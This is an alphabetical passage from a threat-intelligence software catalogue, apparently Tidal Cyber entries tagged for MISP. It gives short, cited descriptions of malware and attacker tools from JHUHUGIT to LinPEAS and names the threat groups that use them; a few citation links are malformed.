[JHUHUGIT](https://app.tidalcyber.com/software/d50ef3fc-7d1c-4a82-b1cf-2319d83da3ae) is malware used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5). It is based on Carberp source code and serves as reconnaissance malware. ^{[[Kaspersky Sofacy](https://app.tidalcyber.com/references/46226f98-c762-48e3-9bcd-19ff14184bb5)]} ^{[[F-Secure Sofacy 2015](https://app.tidalcyber.com/references/56a95d3c-5268-4e69-b669-7055fb38d570)]} ^{[[ESET Sednit Part 1](https://app.tidalcyber.com/references/a2016103-ead7-46b3-bae5-aa97c45a12b7)]} <sup>[[FireEye APT28 January

2017](https://app.tidalcyber.com/references/61d80b8f-5bdb-41e6-b59a-d2d996392873)]</sup>

The tag is: *misp-galaxy:software="JHUHUGIT"*

J-magic

[J-magic](https://app.tidalcyber.com/software/af48c73d-5929-5a45-8182-aea5495346a3) is a custom variant of the [cd00r](https://app.tidalcyber.com/software/65ea5aeb-36c1-5ce1-a4ef-01167ab659ca) backdoor tailored to target Juniper routers that was first observed during the [J-magic Campaign](https://app.tidalcyber.com/campaigns/3b839a7b-095b-5344-8d60-978d06630c3a) in mid-2023. [J-magic](https://app.tidalcyber.com/software/af48c73d-5929-5a45-8182-aea5495346a3) monitors TCP traffic for five predefined parameters or "magic packets" to be sent by the attackers before activating on compromised devices.^{[[Lumen J-Magic JAN 2025](https://app.tidalcyber.com/references/50764afc-4d2e-54a1-8d24-2128fc91a5d3)]}

The tag is: *misp-galaxy:software="J-magic"*

JPIN

[JPIN](https://app.tidalcyber.com/software/c96fce69-6b9c-4bbc-bb42-f6a8fb6eb88f) is a custom-built backdoor family used by [PLATINUM](https://app.tidalcyber.com/groups/f036b992-4c3f-47b7-a458-94ac133bce74). Evidence suggests developers of [JPIN](https://app.tidalcyber.com/software/c96fce69-6b9c-4bbc-bb42-f6a8fb6eb88f) and [Dipsind](https://app.tidalcyber.com/software/226ee563-4d49-48c2-aa91-82999f43ce30) code bases were related in some way. ^{[[Microsoft PLATINUM April 2016](https://app.tidalcyber.com/references/d0ec5037-aa7f-48ee-8d37-ff8fb2c8c297)]}

The tag is: *misp-galaxy:software="JPIN"*

jRAT

[jRAT](https://app.tidalcyber.com/software/42fe9795-5cf6-4ad7-b56e-2aa655377992) is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of [jRAT](https://app.tidalcyber.com/software/42fe9795-5cf6-4ad7-b56e-2aa655377992) have been distributed via a software-as-a-service platform, similar to an online subscription model.^{[[Kaspersky Adwind Feb 2016](https://app.tidalcyber.com/references/69fd8de4-81bc-4165-b77d-c5fc72cfa699)]} ^{[[jRAT Symantec Aug 2018](https://app.tidalcyber.com/references/8aed9534-2ec6-4c9f-b63b-9bb135432cfb)]}

The tag is: *misp-galaxy:software="jRAT"*

Jsc

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary file used by .NET to compile JavaScript code to .exe or .dll format

Author: Oddvar Moe

Paths: * C:\Windows\Microsoft.NET\Framework\v4.0.30319\Jsc.exe * C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Jsc.exe * C:\Windows\Microsoft.NET\Framework\v2.0.50727\Jsc.exe * C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Jsc.exe

Resources: * https://twitter.com/DissectMalware/status/998797808907046913 * https://www.phpied.com/make-your-javascript-a-windows-exe/

Detection: * Sigma: [proc_creation_win_lolbin_jsc.yml](https://github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_lolbin_jsc.yml) * IOC: Jsc.exe should normally not run a system unless it is used for development.^{[[Jsc.exe - LOLBAS Project](/references/ae25ff74-05eb-46d7-9c60-4c149b7c7f1f)]}

The tag is: *misp-galaxy:software="Jsc"*

JSS Loader

[JSS Loader](https://app.tidalcyber.com/software/c67f3029-a26c-4752-b7f1-8e3369c2f79d) is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by [FIN7](https://app.tidalcyber.com/groups/4348c510-50fc-4448-ab8d-c8cededd19ff) since at least 2020.^{[[eSentire FIN7 July 2021](https://app.tidalcyber.com/references/3976dd0e-7dee-4ae7-8c38-484b12ca233e)]}^{[[CrowdStrike Carbon Spider August 2021](https://app.tidalcyber.com/references/36f0ddb0-94af-494c-ad10-9d3f75d1d810)]}

The tag is: *misp-galaxy:software="JSS Loader"*

Juicy Potato

Juicy Potato is an open-source software project that, according to its GitHub page, can be used for privilege escalation purposes.^{[[GitHub ohpe Juicy Potato](/references/16d0dd05-763a-4503-aa88-c8867d8f202d)]}

The tag is: *misp-galaxy:software="Juicy Potato"*

JumbledPath

[JumbledPath](https://app.tidalcyber.com/software/c40cc75a-8507-5051-b5b9-e1a980df539d) is a custom-built utility written in GO that has been used by [Salt Typhoon](https://app.tidalcyber.com/groups/759dcc8f-01ae-503f-922f-b144cd54ea15) since at least 2024 for packet capture on remote Cisco devices. [JumbledPath](https://app.tidalcyber.com/software/c40cc75a-8507-5051-b5b9-e1a980df539d) is compiled as an ELF binary using x86-64 architecture which makes it potentially useable across Linux operating systems and network devices from multiple vendors.<sup>[[Cisco

Salt Typhoon FEB 2025](https://app.tidalcyber.com/references/9e862514-c8ff-5125-9762-2fb9fafb5625)]</sup>

The tag is: *misp-galaxy:software="JumbledPath"*

Kapeka

Kapeka is a backdoor written in C++ used against victims in Eastern Europe since at least mid-2022. Kapeka has technical overlaps with [Exaramel for Windows](https://app.tidalcyber.com/software/21569dfb-c9f1-468e-903e-348f19dbae1f) and [Prestige](https://app.tidalcyber.com/software/4fb5b109-5a5c-5441-a0f9-f639ead5405e) malware variants, both of which are linked to [Sandworm Team](https://app.tidalcyber.com/groups/16a65ee9-cd60-4f04-ba34-f2f45fcfc666). Kapeka may have been used in advance of [Prestige](https://app.tidalcyber.com/software/4fb5b109-5a5c-5441-a0f9-f639ead5405e) deployment in late 2022.^{[[WithSecure Kapeka 2024](https://app.tidalcyber.com/references/0160d4fa-0a68-5310-a96f-840748d63acf)]}^{[[Microsoft KnuckleTouch 2024](https://app.tidalcyber.com/references/b4b71551-45a7-50eb-891f-0f3df592f316)]}

The tag is: *misp-galaxy:software="Kapeka"*

KARAE

[KARAE](https://app.tidalcyber.com/software/ca883d21-97ca-420d-a66b-ef19a8355467) is a backdoor typically used by [APT37](https://app.tidalcyber.com/groups/013fdfdc-aa32-4779-8f6e-7920615cbf66) as first-stage malware. ^{[[FireEye APT37 Feb 2018](https://app.tidalcyber.com/references/4d575c1a-4ff9-49ce-97cd-f9d0637c2271)]}

The tag is: *misp-galaxy:software="KARAE"*

Kasidet

[Kasidet](https://app.tidalcyber.com/software/1896b9c9-a93e-4220-b4c2-6c4c9c5ca297) is a backdoor that has been dropped by using malicious VBA macros. ^{[[Zscaler Kasidet](https://app.tidalcyber.com/references/63077223-4711-4c1e-9fb2-3995c7e03cf2)]}

The tag is: *misp-galaxy:software="Kasidet"*

Kazuar

[Kazuar](https://app.tidalcyber.com/software/e93990a0-4841-4867-8b74-ac2806d787bf) is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework. ^{[[Unit 42 Kazuar May 2017](https://app.tidalcyber.com/references/07e64ee6-3d3e-49e4-bb06-ff5897e26ea9)]}

The tag is: *misp-galaxy:software="Kazuar"*

Kerrdown

[Kerrdown](https://app.tidalcyber.com/software/17c28e46-1005-4737-8567-d4ad9f1aefd1) is a custom downloader that has been used by [APT32](https://app.tidalcyber.com/groups/c0fe9859-e8de-4ce1-bc3c-b489e914a145) since at least 2018 to install spyware from a server on the victim's network.^{[[Amnesty Intl. Ocean Lotus February 2021](https://app.tidalcyber.com/references/a54a2f68-8406-43ab-8758-07edd49dfb83)]}^{[[Unit 42 KerrDown February 2019](https://app.tidalcyber.com/references/bff5dbfe-d080-46c1-82b7-272e03d2aa8c)]}

The tag is: *misp-galaxy:software="Kerrdown"*

Kessel

[Kessel](https://app.tidalcyber.com/software/32f1e0d3-753f-4b51-aec5-cfaa393cedc3) is an advanced version of OpenSSH which acts as a custom backdoor, mainly acting to steal credentials and function as a bot. [Kessel](https://app.tidalcyber.com/software/32f1e0d3-753f-4b51-aec5-cfaa393cedc3) has been active since its C2 domain began resolving in August 2018.^{[[ESET ForSSHe December 2018](https://app.tidalcyber.com/references/0e25bf8b-3c9e-4661-a9fd-79b2ad3b8dd2)]}

The tag is: *misp-galaxy:software="Kessel"*

Kevin

[Kevin](https://app.tidalcyber.com/software/b9730d7c-aa57-4d6f-9125-57dcb65b02e0) is a backdoor implant written in C++ that has been used by [HEXANE](https://app.tidalcyber.com/groups/eecf7289-294f-48dd-a747-7705820f4735) since at least June 2020, including in operations against organizations in Tunisia.^{[[Kaspersky Lyceum October 2021](https://app.tidalcyber.com/references/b3d13a82-c24e-4b47-b47a-7221ad449859)]}

The tag is: *misp-galaxy:software="Kevin"*

KeyBoy

[KeyBoy](https://app.tidalcyber.com/software/6ec39371-d50b-43b6-937c-52de00491eab) is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.^{[[CitizenLab KeyBoy Nov 2016](https://app.tidalcyber.com/references/a9394372-3981-4f41-ad66-9db343e773b1)]}^{[[PWC KeyBoys Feb 2017](https://app.tidalcyber.com/references/9ac6737b-c8a2-416f-bbc3-8c5556ad4833)]}

The tag is: *misp-galaxy:software="KeyBoy"*

Keydnap

This piece of malware steals the content of the user's keychain while maintaining a permanent backdoor ^{[[OSX Keydnap malware](https://app.tidalcyber.com/references/d43e0dd1-0946-4f49-bcc7-3ef38445eac3)]}.

The tag is: *misp-galaxy:software="Keydnap"*

KEYMARBLE

[KEYMARBLE](https://app.tidalcyber.com/software/a644f61e-6a9b-41ab-beca-72518351c27f) is a Trojan that has reportedly been used by the North Korean government. ^{[[US-CERT KEYMARBLE Aug 2018](https://app.tidalcyber.com/references/b30dd720-a85d-4bf5-84e1-394a27917ee7)]}

The tag is: *misp-galaxy:software="KEYMARBLE"*

KEYPLUG

[KEYPLUG](https://app.tidalcyber.com/software/ba9e56b9-7904-5ec8-bb39-7f82f7b2e89a) is a modular backdoor written in C++, with Windows and Linux variants, that has been used by [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9) since at least June 2021.^{[[Mandiant APT41](https://app.tidalcyber.com/references/e54415fe-40c2-55ff-9e75-881bc8a912b8)]}

The tag is: *misp-galaxy:software="KEYPLUG"*

KGH_SPY

[KGH_SPY](https://app.tidalcyber.com/software/c1e1ab6a-d5ce-4520-98c5-c6df41005fd9) is a modular suite of tools used by [Kimsuky](https://app.tidalcyber.com/groups/37f317d8-02f0-43d4-8a7d-7a65ce8aadf1) for reconnaissance, information stealing, and backdoor capabilities. [KGH_SPY](https://app.tidalcyber.com/software/c1e1ab6a-d5ce-4520-98c5-c6df41005fd9) derived its name from PDB paths and internal names found in samples containing "KGH".^{[[Cybereason Kimsuky November 2020](https://app.tidalcyber.com/references/ecc2f5ad-b2a8-470b-b919-cb184d12d00f)]}

The tag is: *misp-galaxy:software="KGH_SPY"*

KillDisk

[KillDisk](https://app.tidalcyber.com/software/b5532e91-d267-4819-a05d-8c5358995add) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://app.tidalcyber.com/software/908216c7-3ad4-4e0c-9dd3-a7ed5d1c695f) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://app.tidalcyber.com/software/b5532e91-d267-4819-a05d-8c5358995add) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://app.tidalcyber.com/software/b5532e91-d267-4819-a05d-8c5358995add) variants.^{[[KillDisk Ransomware](https://app.tidalcyber.com/references/9d22f13d-af6d-47b5-93ed-5e4b85b94978)]}^{[[ESEST Black Energy Jan 2016](https://app.tidalcyber.com/references/4d626eb9-3722-4aa4-b95e-1650cc2865c2)]}<sup>[[Trend Micro KillDisk 1](https://app.tidalcyber.com/references/8ae31db0-2744-4366-9747-

55fc4679dbf5)]</sup>^{[[Trend Micro KillDisk 2](https://app.tidalcyber.com/references/62d9a4c9-e669-4dd4-a584-4f3e3e54f97f)]}

The tag is: *misp-galaxy:software="KillDisk"*

KillSec Ransomware

In June 2024, KillSec, an actor group traditionally linked to hacktivism, announced the release of their own ransomware-as-a-service program, which featured an original, encryption-focused malware written in C++.^{[[Cyber Express KillSec June 26 2024](/references/9afb764a-84fb-4fea-b925-d7d36a24ac14)]}

The tag is: *misp-galaxy:software="KillSec Ransomware"*

Kinsing

[Kinsing](https://app.tidalcyber.com/software/7b4f157c-4b34-4f55-9c20-ff787495e9ba) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. ^{[[Aqua Kinsing April 2020](https://app.tidalcyber.com/references/67dd04dd-c0e0-49e6-9341-4e445d660641)]}^{[[Sysdig Kinsing November 2020](https://app.tidalcyber.com/references/4922dbb5-d3fd-4bf2-8af7-3b8889579c31)]}^{[[Aqua Security Cloud Native Threat Report June 2021](https://app.tidalcyber.com/references/be9652d5-7531-4143-9c44-aefd019b7a32)]}

The tag is: *misp-galaxy:software="Kinsing"*

Kivars

[Kivars](https://app.tidalcyber.com/software/673ed346-9562-4997-80b2-e701b1a99a58) is a modular remote access tool (RAT), derived from the Bifrost RAT, that was used by [BlackTech](https://app.tidalcyber.com/groups/528ab2ea-b8f1-44d8-8831-2a89fefd97cb) in a 2010 campaign.^{[[TrendMicro BlackTech June 2017](https://app.tidalcyber.com/references/abb9cb19-d30e-4048-b106-eb29a6dad7fc)]}

The tag is: *misp-galaxy:software="Kivars"*

Koadic

[Koadic](https://app.tidalcyber.com/software/5e981594-d00a-4c7f-8ed0-3d4a60cc3fcd) is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. [Koadic](https://app.tidalcyber.com/software/5e981594-d00a-4c7f-8ed0-3d4a60cc3fcd) has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.^{[[Github Koadic](https://app.tidalcyber.com/references/54cbf1bd-9aed-4f82-8c15-6e88dd5d8d64)]}^{[[Palo Alto Sofacy 06-2018](https://app.tidalcyber.com/references/a32357eb-3226-4bee-aeed-d2fbcfa52da0)]}^{[[MalwareBytes LazyScripter Feb 2021](https://app.tidalcyber.com/references/078837a7-82cd-4e26-9135-43b612e911fe)]}

The tag is: *misp-galaxy:software="Koadic"*

Kobalos

[Kobalos](https://app.tidalcyber.com/software/bf918663-90bd-489e-91e7-6951a18a25fd) is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. [Kobalos](https://app.tidalcyber.com/software/bf918663-90bd-489e-91e7-6951a18a25fd) has been deployed against high profile targets, including high-performance computers, academic servers, an endpoint security vendor, and a large internet service provider; it has been found in Europe, North America, and Asia. [Kobalos](https://app.tidalcyber.com/software/bf918663-90bd-489e-91e7-6951a18a25fd) was first identified in late 2019.^{[[ESET Kobalos Feb 2021](https://app.tidalcyber.com/references/883a9417-f7f6-4aa6-8708-8c320d4e0a7a)]}^{[[ESET Kobalos Jan 2021](https://app.tidalcyber.com/references/745e963e-33fd-40d4-a8c6-1a9f321017f4)]}

The tag is: *misp-galaxy:software="Kobalos"*

KOCTOPUS

[KOCTOPUS](https://app.tidalcyber.com/software/3e13d07d-d9e1-4456-bec3-b2375e404753)'s batch variant is loader used by [LazyScripter](https://app.tidalcyber.com/groups/12279b62-289e-49ee-97cb-c780edd3d091) since 2018 to launch [Octopus](https://app.tidalcyber.com/software/8f04e609-8773-4529-b247-d32f530cc453) and [Koadic](https://app.tidalcyber.com/software/5e981594-d00a-4c7f-8ed0-3d4a60cc3fcd) and, in some cases, [QuasarRAT](https://app.tidalcyber.com/software/4bab7c2b-5ec4-467e-8df4-f2e6996e136b). [KOCTOPUS](https://app.tidalcyber.com/software/3e13d07d-d9e1-4456-bec3-b2375e404753) also has a VBA variant that has the same functionality as the batch version.^{[[MalwareBytes LazyScripter Feb 2021](https://app.tidalcyber.com/references/078837a7-82cd-4e26-9135-43b612e911fe)]}

The tag is: *misp-galaxy:software="KOCTOPUS"*

Komplex

[Komplex](https://app.tidalcyber.com/software/2cf1be0d-2fba-4fd0-ab2f-3695716d1735) is a backdoor that has been used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5) on OS X and appears to be developed in a similar manner to [XAgentOSX](https://app.tidalcyber.com/software/6f411b69-6643-4cc7-9cbd-e15d9219e99c) ^{[[XAgentOSX 2017](https://app.tidalcyber.com/references/2dc7a8f1-ccee-46f0-a995-268694f11b02)]} ^{[[Sofacy Komplex Trojan](https://app.tidalcyber.com/references/a21be45e-26c3-446d-b336-b58d08df5749)]}.

The tag is: *misp-galaxy:software="Komplex"*

KOMPROGO

[KOMPROGO](https://app.tidalcyber.com/software/3067f148-2e2b-4aac-9652-59823b3ad4f1) is a signature backdoor used by [APT32](https://app.tidalcyber.com/groups/c0fe9859-e8de-4ce1-bc3c-b489e914a145) that is capable of process, file, and registry management. ^{[[FireEye APT32 May 2017](https://app.tidalcyber.com/references/b72d017b-a70f-4003-b3d9-90d79aca812d)]}

The tag is: *misp-galaxy:software="KOMPROGO"*

KONNI

[KONNI](https://app.tidalcyber.com/software/d381de2a-30cb-4d50-bbce-fd1e489c4889) is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. [KONNI](https://app.tidalcyber.com/software/d381de2a-30cb-4d50-bbce-fd1e489c4889) has significant code overlap with the [NOKKI](https://app.tidalcyber.com/software/31aa0433-fb6b-4290-8af5-a0d0c6c18548) malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking [KONNI](https://app.tidalcyber.com/software/d381de2a-30cb-4d50-bbce-fd1e489c4889) to [APT37]([Talos Konni May 2017(https://app.tidalcyber.com/references/4cb69c58-4e47-4fb9-9eef-8a0b5447a553)]</sup>^{[[Unit 42 NOKKI Sept 2018](https://app.tidalcyber.com/references/f3d3b9bc-4c59-4a1f-b602-e3e884661708)]}^{[[Unit 42 Nokki Oct 2018](https://app.tidalcyber.com/references/4eea6638-a71b-4d74-acc4-0fac82ef72f6)]}^{[[Medium KONNI Jan 2020](https://app.tidalcyber.com/references/e117a6ac-eaa2-4494-b4ae-2d9ae52c3251)]}^{[[Malwarebytes Konni Aug 2021](https://app.tidalcyber.com/references/fb8c6402-ec18-414a-85f7-3d76eacbd890)]}

The tag is: *misp-galaxy:software="KONNI"*

KOPILUWAK

[KOPILUWAK](https://app.tidalcyber.com/software/d09c4459-1aa3-547d-99f4-7ac73b8043f0) is a JavaScript-based reconnaissance tool that has been used for victim profiling and C2 since at least 2017.^{[[Mandiant Suspected Turla Campaign February 2023](https://app.tidalcyber.com/references/d8f43a52-a59e-5567-8259-821b1b6bde43)]}

The tag is: *misp-galaxy:software="KOPILUWAK"*

Kubo Injector

Kubo Injector is a library for injecting a shared library into a Linux, Windows and MacOS process.^{[[GitHub April 1 2018](/references/533dd7b7-4a56-4198-8e0b-fdf3b7225271)]}

The tag is: *misp-galaxy:software="Kubo Injector"*

Kwampirs

[Kwampirs](https://app.tidalcyber.com/software/35ac4018-8506-4025-a9e3-bd017700b3b3) is a backdoor Trojan used by [Orangeworm](https://app.tidalcyber.com/groups/863b7013-133d-4a82-93d2-51b53a8fd30e). [Kwampirs](https://app.tidalcyber.com/software/35ac4018-8506-4025-a9e3-bd017700b3b3) has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines.^{[[Symantec Orangeworm April 2018](https://app.tidalcyber.com/references/eee5efa1-bbc6-44eb-8fae-23002f351605)]} [Kwampirs](https://app.tidalcyber.com/software/35ac4018-8506-4025-a9e3-bd017700b3b3) has

multiple technical overlaps with [Shamoon](https://app.tidalcyber.com/software/840db1db-e262-4d6f-b6e3-2a64696a41c5) based on reverse engineering analysis.^{[[Cylera Kwampirs 2022](https://app.tidalcyber.com/references/06442111-2c71-5efb-9530-cabeba159a91)]}

The tag is: *misp-galaxy:software="Kwampirs"*

Ladon 911

A multifunctional scanning and exploitation tool, often used by Ghost actors with the MS17010 option to scan for SMB vulnerabilities associated with CVE-2017-0143 and CVE-2017-0144.^{[[U.S. CISA Ghost Cring Ransomware February 19 2025](/references/d3b3cebd-3428-4d71-a81e-a7cb6248e3b7)]}

The tag is: *misp-galaxy:software="Ladon 911"*

Latrodectus

[Latrodectus](https://app.tidalcyber.com/software/413585a2-00d1-532d-953a-bc5c86f4767f) is a Windows malware downloader that has been used since at least 2023 to download and execute additional payloads and modules. [Latrodectus](https://app.tidalcyber.com/software/413585a2-00d1-532d-953a-bc5c86f4767f) has most often been distributed through email campaigns, primarily by [TA577](https://app.tidalcyber.com/groups/e1e72810-4661-54c7-b05e-859128fb327d) and [TA578](https://app.tidalcyber.com/groups/b47551ba-8036-5527-abba-fed787c854a5), and has infrastructure overlaps with historic [IcedID](https://app.tidalcyber.com/software/7f59bb7c-5fa9-497d-9d8e-ba9349fd9433) operations.^{[[Latrodectus APR 2024](https://app.tidalcyber.com/references/23f46e51-cfb9-516f-88a6-824893293deb)]}^{[[Bleeping Computer Latrodectus April 2024](https://app.tidalcyber.com/references/b138b07e-d68b-5f68-ba74-ddd7bb654fa6)]}^{[[Bitsight Latrodectus June 2024](https://app.tidalcyber.com/references/9a942e75-3541-5b8d-acde-8f2a3447184a)]}

The tag is: *misp-galaxy:software="Latrodectus"*

Launch-VsDevShell

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Locates and imports a Developer PowerShell module and calls the Enter-VsDevShell cmdlet

Author: Nasreddine Bencherchali

Paths: * C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\Tools\Launch-VsDevShell.ps1 * C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Launch-VsDevShell.ps1

Resources: * https://twitter.com/nas_bench/status/1535981653239255040

Detection: * Sigma: [proc_creation_win_lolbin_launch_vsdevshell.yml]([Launch-VsDevShell.ps1 - LOLBAS Project(/references/6e81ff6a-a386-495e-bd4b-cf698b02bce8)]</sup>

The tag is: *misp-galaxy:software="Launch-VsDevShell"*

LaZagne

[LaZagne](https://app.tidalcyber.com/software/f5558af4-e3e2-47c2-b8fe-72850bd30f37) is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. [LaZagne](https://app.tidalcyber.com/software/f5558af4-e3e2-47c2-b8fe-72850bd30f37) is publicly available on GitHub.^{[[GitHub LaZagne Dec 2018](https://app.tidalcyber.com/references/9347b507-3a41-405d-87f9-d4fc2bfc48e5)]}

The tag is: *misp-galaxy:software="LaZagne"*

Ldifde

Ldifde is a Windows command-line tool that is used to create, modify, and delete directory objects. Ldifde can also be used to "extend the schema, export Active Directory user and group information to other applications or services, and populate Active Directory Domain Services (AD DS) with data from other directory services".^{[[Ldifde Microsoft](/references/c47ed0e0-f3e3-41de-9ea7-64fe4e343d9d)]}

The tag is: *misp-galaxy:software="Ldifde"*

LEMURLOOT

LEMURLOOT is a web shell written in C# that was used by threat actors after exploiting a MOVEit file transfer software vulnerability (CVE-2023-34362) during a campaign beginning in late May 2023. The malware supports staging and exfiltration of compressed victim data, including files and folders stored on vulnerable MOVEit servers.^{[[Mandiant MOVEit Transfer June 2 2023](/references/232c7555-0483-4a57-88cb-71a990f7d683)]}

Related Vulnerabilities: CVE-2023-34362^{[[U.S. CISA CL0P CVE-2023-34362 Exploitation](/references/07e48ca8-b965-4234-b04a-dfad45d58b22)]}^{[[Mandiant MOVEit Transfer June 2 2023](/references/232c7555-0483-4a57-88cb-71a990f7d683)]}

The tag is: *misp-galaxy:software="LEMURLOOT"*

Level

According to joint Cybersecurity Advisory AA23-320A (November 2023), Level is a publicly available, legitimate tool that "enables remote monitoring and management of systems". According to the Advisory, Scattered Spider threat actors are known to abuse the tool during their

intrusions.^{[[U.S. CISA Scattered Spider November 16 2023](/references/9c242265-c28c-4580-8e6a-478d8700b092)]}

The tag is: *misp-galaxy:software="Level"*

LightNeuron

[LightNeuron](https://app.tidalcyber.com/software/c9d2f023-d54b-4d08-9598-a42fb92b3161) is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. [LightNeuron](https://app.tidalcyber.com/software/c9d2f023-d54b-4d08-9598-a42fb92b3161) has been used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](https://app.tidalcyber.com/software/c9d2f023-d54b-4d08-9598-a42fb92b3161) exists.^{[[ESET LightNeuron May 2019](https://app.tidalcyber.com/references/679aa333-572c-44ba-b94a-606f168d1ed2)]}

The tag is: *misp-galaxy:software="LightNeuron"*

LightSpy

First observed in 2018, LightSpy is a modular malware family that initially targeted iOS devices in Southern Asia before expanding to Android and macOS platforms. It consists of a downloader, a main executable that manages network communications, and functionality-specific modules, typically implemented as `.dylib` files (iOS, macOS) or `.apk` files (Android). LightSpy can collect VoIP call recordings, SMS messages, and credential stores, which are then exfiltrated to a command and control (C2) server.^{[[MelikovBlackBerry LightSpy 2024](https://app.tidalcyber.com/references/633f7a09-721f-5e16-ba3b-0b1802a41852)]}

The tag is: *misp-galaxy:software="LightSpy"*

LIGHTWIRE

[LIGHTWIRE](https://app.tidalcyber.com/software/1b3af76f-f9a1-58ce-8c7d-aec535f8d0c0) is a web shell written in Perl that was used during [Cutting Edge](https://app.tidalcyber.com/campaigns/4e605e33-57fe-5bb2-b0ad-ec146aac041b) to maintain access and enable command execution by imbedding into the legitimate compcheckresult.cgi component of Ivanti Secure Connect VPNs.^{[[Mandiant Cutting Edge Part 2 January 2024](https://app.tidalcyber.com/references/5209d259-4293-58c0-bbdc-f30ff77d57f7)]}^{[[Mandiant Cutting Edge January 2024](https://app.tidalcyber.com/references/9d9ec923-89c1-5155-ae6e-98d4776d4250)]}

The tag is: *misp-galaxy:software="LIGHTWIRE"*

Ligolo

Ligolo is a tool used to establish SOCKS5 or TCP tunnels from a reverse connection.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="Ligolo"*

Line Dancer

[Line Dancer](https://app.tidalcyber.com/software/9781f766-1afc-517b-9b3e-1cbeed9c556e) is a memory-only Lua-based shellcode loader associated with the [ArcaneDoor](https://app.tidalcyber.com/campaigns/04e7a8d6-c80f-5dab-979c-0c52969abe66) campaign. [Line Dancer](https://app.tidalcyber.com/software/9781f766-1afc-517b-9b3e-1cbeed9c556e) allows an adversary to upload and execute arbitrary shellcode on victim devices.^{[[Cisco ArcaneDoor 2024](https://app.tidalcyber.com/references/da99c764-8c3d-5a2c-9321-0f6fe4da141b)]}^{[[CCCS ArcaneDoor 2024](https://app.tidalcyber.com/references/904b6c9a-8ab9-572e-aa9a-90f840c8ff82)]}

The tag is: *misp-galaxy:software="Line Dancer"*

Line Dancer (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "Line Dancer" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

Line Dancer is one of the two key tools used during the ArcaneDoor network device intrusions, serving as an in-memory implant used to upload capabilities permitting arbitrary code execution and persistence (Line Runner).^{[[Cisco Talos ArcaneDoor April 24 2024](/references/531c3f6f-2d2b-4774-b069-e2b7a13602c1)]}

The tag is: *misp-galaxy:software="Line Dancer (Deprecated)"*

Line Runner

[Line Runner](https://app.tidalcyber.com/software/dd98310f-9824-5c75-944f-79b5eabbfe58) is a persistent backdoor and web shell allowing threat actors to upload and execute arbitrary Lua scripts. [Line Runner](https://app.tidalcyber.com/software/dd98310f-9824-5c75-944f-79b5eabbfe58) is associated with the [ArcaneDoor](https://app.tidalcyber.com/campaigns/04e7a8d6-c80f-5dab-979c-0c52969abe66) campaign.^{[[CCCS ArcaneDoor 2024](https://app.tidalcyber.com/references/904b6c9a-8ab9-572e-aa9a-90f840c8ff82)]}^{[[Cisco ArcaneDoor 2024](https://app.tidalcyber.com/references/da99c764-8c3d-5a2c-9321-0f6fe4da141b)]}

The tag is: *misp-galaxy:software="Line Runner"*

Line Runner (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "Line Runner" (Software). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

Line Runner is one of the two key tools (along with Line Dancer) used during the ArcaneDoor network device intrusion. Line Runner is used to maintain persistence and execute commands on

compromised devices.^{[[Cisco Talos ArcaneDoor April 24 2024](/references/531c3f6f-2d2b-4774-b069-e2b7a13602c1)]}

The tag is: *misp-galaxy:software="Line Runner (Deprecated)"*

Linfo

[Linfo](https://app.tidalcyber.com/software/925975f8-e8ff-411f-a40e-f799968046f7) is a rootkit trojan used by [Elderwood](https://app.tidalcyber.com/groups/51146bb6-7478-44a3-8f08-19adcdceffca) to open a backdoor on compromised hosts. ^{[[Symantec Elderwood Sept 2012](https://app.tidalcyber.com/references/5e908748-d260-42f1-a599-ac38b4e22559)]} ^{[[Symantec Linfo May 2012](https://app.tidalcyber.com/references/e6b88cd4-a58e-4139-b266-48d0f5957407)]}

The tag is: *misp-galaxy:software="Linfo"*

LinPEAS

